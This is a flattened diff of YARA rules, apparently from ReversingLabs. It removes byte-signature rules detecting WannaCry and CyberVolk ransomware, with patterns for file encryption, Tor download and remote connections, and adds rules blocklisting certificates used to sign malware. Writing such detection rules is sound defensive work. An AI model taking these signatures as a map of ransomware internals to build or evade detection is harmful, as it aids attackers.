?? ?? 03 - C8 51 8B 4E ?? 2B C8 51 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? - 83 C6 ?? FF 8D ?? ?? ?? ?? 75 ?? 33 F6 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 39 B5 ?? - ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? - ?? 83 C7 ?? 3B 85 ?? ?? ?? ?? 0F 8C ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 - E8 ?? ?? ?? ?? 85 C0 59 59 0F 85 ?? ?? ?? ?? 39 85 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? - ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? - ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 59 59 B0 ?? E9 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 50 53 C6 - 01 ?? E8 ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 59 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 59 39 B5 ?? ?? ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 39 B5 ?? ?? ?? ?? 74 - ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 53 C6 00 ?? E8 ?? ?? ?? - ?? EB ?? 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C6 00 ?? EB ?? 0F - 84 ?? ?? ?? ?? C6 07 ?? FF 15 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 59 59 83 BD ?? ?? ?? - ?? ?? 74 ?? FF B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 32 C0 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? C9 C3 - } - condition: - uint16( 0 ) == 0x5A4D and $search_and_encrypt_files and $remote_connection_1 and $remote_connection_2 + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Install Sync" and pe.signatures [ i ] . serial == "6a:c6:26:8b:2e:43:1a:2c:13:69:34:6d:17:5d:0e:30" and 1436140800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Wannacry : TC_DETECTION MALICIOUS MALWARE FILE +rule REVERSINGLABS_Cert_Blocklist_0Fc4D9178B8Df2C19E269Ac6F43Dd708 : INFO FILE { meta: - description = "Yara rule that detects WannaCry ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "61734d47-2525-5e3a-94b4-60493dfe2b93" - date = "2020-06-26" - modified = "2020-07-15" + id = "b336ff6c-d94e-5715-bb97-6b60cda90911" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.WannaCry.yara#L3-L135" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12818-L12834" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fed58b533a9f7c3eb1b3e4f8fbe1f519aab94d1c066ae6937c21876693be0eac" + logic_hash = "41dfe37b464d337268a8bb0e23124df7b50ab966038e8ad33bda81a4d86040ca" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "WannaCry" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $main_1 = { - A0 ?? ?? ?? ?? 56 57 6A ?? 88 85 ?? ?? ?? ?? 59 33 C0 8D BD ?? ?? ?? ?? F3 AB 66 AB - AA 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 - ?? ?? ?? ?? 6A ?? 50 FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 - 18 59 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 - C0 74 ?? 8D 45 ?? 8D 8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 89 5D - } - $main_2 = { - 68 ?? ?? ?? ?? 33 DB 50 53 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 FF 15 - ?? ?? ?? ?? 83 38 ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 00 FF 70 ?? E8 ?? ?? - ?? ?? 59 85 C0 59 75 ?? 53 E8 ?? ?? ?? ?? 85 C0 59 74 ?? BE ?? ?? ?? ?? 53 8D 85 ?? - ?? ?? ?? 56 50 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? E8 ?? ?? ?? ?? - 85 C0 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 85 C0 - 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ?? ?? 50 FF 15 ?? - ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? - 53 53 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 53 68 ?? ?? ?? ?? E8 - } - $main_3 = { - 83 EC ?? 56 57 B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 7C 24 ?? 33 C0 F3 A5 A4 89 44 24 ?? - 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 89 44 24 ?? 66 89 44 24 ?? 50 50 50 6A ?? 50 88 - 44 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 8D 4C 24 ?? 8B F0 6A ?? 51 56 - FF 15 ?? ?? ?? ?? 8B F8 56 8B 35 ?? ?? ?? ?? 85 FF 75 ?? FF D6 6A ?? FF D6 E8 - } - $start_service_3 = { - 83 EC ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 - 38 ?? 7D ?? E8 ?? ?? ?? ?? 83 C4 ?? C3 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? - ?? 8B F8 85 FF 74 ?? 53 56 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 1D - ?? ?? ?? ?? 8B F0 85 F6 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D3 57 FF D3 5E - 5B 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? - ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 5F 83 C4 ?? C3 - } - $main_4 = { - 83 EC ?? 57 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 74 ?? 53 56 68 - ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 8B F0 85 F6 74 ?? - 6A ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 56 FF D3 57 FF D3 5E 5B 8D 44 24 ?? C7 44 24 ?? ?? - ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? - FF 15 ?? ?? ?? ?? 33 C0 5F 83 C4 ?? C2 - } - $main_5 = { - 68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 - FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 C0 74 ?? 8D 45 ?? 8D - 8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 89 5D ?? E8 ?? ?? ?? ?? 3B C3 74 ?? FF 75 ?? 50 E8 - ?? ?? ?? ?? 59 3B C3 59 74 ?? 68 ?? ?? ?? ?? 50 E8 - } - $main_6 = { - FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? FF 74 24 ?? E8 ?? ?? ?? ?? C2 - } - $set_reg_key_6 = { - 68 ?? ?? ?? ?? F3 AB 66 AB AA 8D 44 24 ?? C7 44 24 ?? ?? ?? ?? ?? 50 FF 15 ?? ?? ?? - ?? 8B 2D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 83 C4 ?? 33 FF 89 7C 24 ?? 85 FF 75 ?? 8D 4C - 24 ?? 8D 54 24 ?? 51 52 68 ?? ?? ?? ?? EB ?? 8D 44 24 ?? 8D 4C 24 ?? 50 51 68 ?? ?? - ?? ?? FF 15 ?? ?? ?? ?? 8B 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8C 24 ?? ?? ?? ?? 85 - C9 74 ?? 8D 94 24 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF D5 8D BC 24 ?? ?? ?? ?? 83 C9 ?? - 33 C0 F2 AE F7 D1 8D 84 24 ?? ?? ?? ?? 51 8B 4C 24 ?? 50 6A ?? 6A ?? 68 ?? ?? ?? ?? - 51 FF D3 8B 7C 24 ?? 8B F0 F7 DE 1B F6 46 EB ?? 8D 54 24 ?? 8D 8C 24 ?? ?? ?? ?? 52 - 51 6A ?? 6A ?? 68 ?? ?? ?? ?? 50 C7 44 24 ?? ?? ?? ?? ?? FF 15 - } - $download_tor_6 = { - 81 EC ?? ?? ?? ?? 53 55 56 57 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? A0 ?? ?? ?? ?? - B9 ?? ?? ?? ?? 88 44 24 ?? 33 C0 8D 7C 24 ?? 8B 35 ?? ?? ?? ?? F3 AB 68 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 66 AB 68 ?? ?? ?? ?? 8D 4C 24 ?? 33 ED 68 ?? ?? ?? ?? 51 89 2D ?? ?? - ?? ?? 89 2D ?? ?? ?? ?? AA FF D6 8B 1D ?? ?? ?? ?? 83 C4 ?? 8D 54 24 ?? 52 FF D3 83 - F8 ?? 0F 85 ?? ?? ?? ?? 55 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 84 - C0 75 ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 A0 ?? ?? ?? ?? B9 ?? ?? ?? ?? 88 84 24 ?? - ?? ?? ?? 33 C0 8D BC 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? F3 AB 66 AB 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 51 AA FF D6 83 C4 ?? 8D 94 24 ?? ?? ?? - ?? 52 FF D3 83 F8 ?? 75 ?? 5F 5E 5D 32 C0 5B 81 C4 ?? ?? ?? ?? C3 - } - $main_7 = { - 68 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 - FF D6 59 85 C0 59 74 ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 FF D6 59 88 18 59 8D 85 ?? ?? ?? - ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 - ?? ?? ?? ?? 53 53 53 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 85 C0 74 ?? 8D 45 ?? 8D - 8D ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 53 8F 45 ?? E8 ?? ?? ?? ?? 39 44 24 ?? 74 ?? 89 44 - 24 ?? 83 EC ?? 2B C3 58 74 ?? FF 75 ?? 50 E8 ?? ?? ?? ?? 59 89 44 24 ?? 83 EC ?? 2B - C3 58 59 74 ?? 68 ?? ?? ?? ?? 50 E8 - } - $main_8 = { - 68 ?? ?? ?? ?? F3 AB 66 AB AA 8D 44 24 ?? 50 6A ?? FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? - ?? 8D 4C 24 ?? 6A ?? 51 FF D6 83 C4 ?? 85 C0 74 ?? 8D 54 24 ?? 6A ?? 52 FF D6 83 C4 - ?? C6 00 ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8C 24 - ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 8D 8C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F - 5E 85 C0 74 ?? 8D 4C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 8D 8C 24 ?? ?? - ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 54 24 ?? 52 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 - ?? 68 ?? ?? ?? ?? 50 E8 - } - $entrypoint_all = { - 55 8B EC 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? - ?? 83 EC ?? 53 56 57 89 65 ?? 33 DB 89 5D ?? 6A ?? FF 15 ?? ?? ?? ?? 59 83 0D ?? ?? - ?? ?? ?? 83 0D ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 89 08 FF 15 ?? ?? - ?? ?? 8B 0D ?? ?? ?? ?? 89 08 A1 ?? ?? ?? ?? 8B 00 A3 ?? ?? ?? ?? E8 ?? ?? ?? ?? 39 - 1D ?? ?? ?? ?? 75 ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 59 E8 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 89 45 ?? 8D 45 ?? 50 FF 35 ?? ?? ?? - ?? 8D 45 ?? 50 8D 45 ?? 50 8D 45 ?? 50 FF 15 - } - condition: - uint16( 0 ) == 0x5A4D and ( $entrypoint_all at pe.entry_point ) and ( $main_1 or $main_2 or ( $main_3 and $start_service_3 ) or $main_4 or $main_5 or ( $main_6 and ( $set_reg_key_6 or $download_tor_6 ) ) or $main_7 or $main_8 ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PK Partnership, OOO" and pe.signatures [ i ] . serial == "0f:c4:d9:17:8b:8d:f2:c1:9e:26:9a:c6:f4:3d:d7:08" and 1466553600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Cybervolk : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_E01407871E2146C9Baab1Ae7Ab8Ab172 : INFO FILE { meta: - description = "Yara rule that detects CyberVolk ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4d8bf096-d5c9-5a77-99e6-2c66e480da36" - date = "2024-11-27" - modified = "2024-11-27" + id = "229772ae-68a2-566b-bf61-988cb41d7d8f" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.CyberVolk.yara#L1-L293" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L12836-L12854" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "59ed7c4f576fa7cd4cceb724d14f258598c140e434ed309fe2e599c3aaa667d9" + logic_hash = "1801e7f15bd5f916fc08d263a845d296d334ca9de1040008f619719c1b5c0a3b" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "CyberVolk" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $manage_gui_p1 = { - 55 8B EC 83 E4 ?? 81 EC ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? 57 50 - 6A ?? 6A ?? 6A ?? 6A ?? FF D6 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 0F 84 ?? - ?? ?? ?? 83 F8 ?? 74 ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 6A ?? FF - D6 6A ?? 8B F8 FF D6 8B 75 ?? 99 2B C2 6A ?? D1 F8 68 ?? ?? ?? ?? 2D ?? ?? ?? ?? 68 - ?? ?? ?? ?? 50 8B C7 99 2B C2 D1 F8 2D ?? ?? ?? ?? 50 6A ?? 56 FF 15 ?? ?? ?? ?? 6A - ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 33 C0 5F 5E 8B E5 5D C2 ?? ?? - 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 6A ?? 6A ?? FF 75 ?? FF 15 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 89 44 24 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B - F0 83 C4 ?? BF ?? ?? ?? ?? 85 F6 74 ?? 56 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B F8 56 E8 ?? - ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 4F 50 FF 75 ?? 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B F8 57 - 89 7C 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B 35 ?? ?? ?? ?? 50 89 44 24 ?? FF D6 89 - 44 24 ?? 8D 44 24 ?? 50 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A - ?? FF 74 24 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? - 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? - ?? ?? ?? 50 57 FF D6 8B 74 24 ?? B8 ?? ?? ?? ?? F7 EE B8 ?? ?? ?? ?? 03 D6 C1 FA ?? - 8B FA C1 EF ?? 03 FA F7 EE 03 D6 C1 FA ?? 8B CA C1 E9 ?? 03 CA 8B D1 C1 E2 ?? 2B D1 - } - $manage_gui_p2 = { - C1 E2 ?? 8B CE B8 ?? ?? ?? ?? 2B CA 51 69 CF ?? ?? ?? ?? 2B F1 F7 EE 03 D6 C1 FA ?? - 8B C2 C1 E8 ?? 03 C2 50 57 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 - C4 ?? 8D 44 24 ?? 6A ?? 50 6A ?? 8D 84 24 ?? ?? ?? ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? - ?? FF 74 24 ?? 8B 74 24 ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 - FF 75 ?? FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 8B - F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 8B 7C 24 ?? 8D 84 24 ?? ?? ?? ?? 57 68 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 83 C4 ?? 8D 51 ?? 0F 1F 40 ?? 8A 01 41 84 - C0 75 ?? 56 2B CA 8D 84 24 ?? ?? ?? ?? 51 6A ?? 50 E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? - 83 C4 ?? 33 C0 5F 5E 8B E5 5D C2 ?? ?? 8B 3D ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? FF 75 - ?? FF D7 8B 35 ?? ?? ?? ?? 50 FF D6 8B 45 ?? 6A ?? 68 ?? ?? ?? ?? 50 FF D7 50 FF D6 - 8B 75 ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 44 24 ?? 8D 44 24 - ?? 50 56 FF 15 ?? ?? ?? ?? 50 89 44 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? 8B 3D ?? ?? - ?? ?? 50 89 44 24 ?? FF D7 8B F0 8D 44 24 ?? 50 6A ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? - 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 74 24 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF - 74 24 ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 6A ?? FF 74 - 24 ?? FF 15 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 44 24 - ?? 50 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A - ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 74 24 ?? FF D7 6A - ?? 8D 44 24 ?? 50 6A ?? 68 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 56 8B 74 24 - } - $manage_gui_p3 = { - 56 FF D7 56 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 33 C0 5F - 5E 8B E5 5D C2 ?? ?? 0F B7 45 ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? - 83 E8 ?? 0F 84 ?? ?? ?? ?? 2D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 8B 7D ?? 6A ?? 68 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 6A ?? 8D 44 24 - ?? C7 44 24 ?? ?? ?? ?? ?? 50 0F 57 C0 C6 44 24 ?? ?? 68 ?? ?? ?? ?? 57 0F 29 44 24 - ?? 0F 29 44 24 ?? FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 8D 51 ?? 8A 01 41 84 C0 75 ?? 2B CA - 83 F9 ?? 74 ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? FF 15 ?? ?? ?? ?? 33 C0 5F 5E 8B E5 - 5D C2 ?? ?? 8D 4C 24 ?? E8 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? 50 - 6A ?? 6A ?? 6A ?? 6A ?? FF D6 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 68 ?? ?? - ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 84 24 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 8B F0 83 C4 ?? 85 F6 0F 84 ?? ?? ?? ?? 56 6A ?? 8D 44 24 ?? 6A ?? 50 E8 ?? ?? ?? - ?? 56 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E 8B E5 5D C2 ?? ?? 6A ?? FF 75 ?? FF 15 ?? - ?? ?? ?? B8 ?? ?? ?? ?? 5F 5E 8B E5 5D C2 ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 8B F0 - 56 FF 15 ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 00 0F 10 05 ?? ?? ?? ?? 0F 11 40 ?? - F3 0F 7E 05 ?? ?? ?? ?? 66 0F D6 40 ?? 66 8B 0D ?? ?? ?? ?? 66 89 48 ?? 8A 0D ?? ?? - ?? ?? 88 48 ?? EB ?? 3D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? - 8B F0 56 FF 15 ?? ?? ?? ?? 0F 10 05 ?? ?? ?? ?? 0F 11 00 0F 10 05 ?? ?? ?? ?? 0F 11 - 40 ?? 66 8B 0D ?? ?? ?? ?? 66 89 48 ?? 8A 0D ?? ?? ?? ?? 88 48 ?? 56 FF 15 ?? ?? ?? - ?? 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 56 6A ?? FF 15 ?? ?? ?? ?? FF 15 ?? ?? - ?? ?? 33 C0 5F 5E 8B E5 5D C2 ?? ?? 3D ?? ?? ?? ?? 75 ?? 81 7D - } - $find_files_v1_p1 = { - 55 8B EC B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 53 56 57 8B FA 8B D9 89 5D ?? 66 83 FF ?? 75 - ?? 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 50 - E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B CB 89 45 ?? 83 C4 ?? 66 A1 ?? ?? ?? ?? 66 89 45 ?? - 8D 51 ?? 66 8B 01 83 C1 ?? 66 85 C0 75 ?? 2B CA D1 F9 81 F9 ?? ?? ?? ?? 0F 87 ?? ?? - ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 0F B7 0B 0F B7 95 ?? ?? - ?? ?? 8B D9 8B F2 8D 41 ?? 0F B7 C0 8D 4A ?? 89 45 ?? 66 83 F9 ?? 8D 46 ?? 0F B7 D0 - 8B C6 8B 35 ?? ?? ?? ?? 0F 47 D0 66 83 7D ?? ?? 8D 43 ?? 0F B7 C8 8B C3 0F 47 C8 66 - 3B D1 0F 85 ?? ?? ?? ?? 66 83 7D ?? ?? 8D 43 ?? 0F B7 C8 8B C3 8B 5D ?? 0F 47 C8 0F - B7 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 66 89 0B 68 ?? ?? ?? ?? 50 FF - D6 8D 8D ?? ?? ?? ?? 83 C4 ?? 8D 51 ?? 0F 1F 80 ?? ?? ?? ?? 66 8B 01 83 C1 ?? 66 85 - C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? D1 F9 51 50 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? - 8B D7 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 5F 5E 5B 8B E5 5D C3 53 FF 15 ?? ?? ?? ?? A8 - ?? 0F 85 ?? ?? ?? ?? EB ?? 8B 5D ?? 53 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 FF D6 83 - C4 ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B F0 89 75 ?? 83 - FE ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 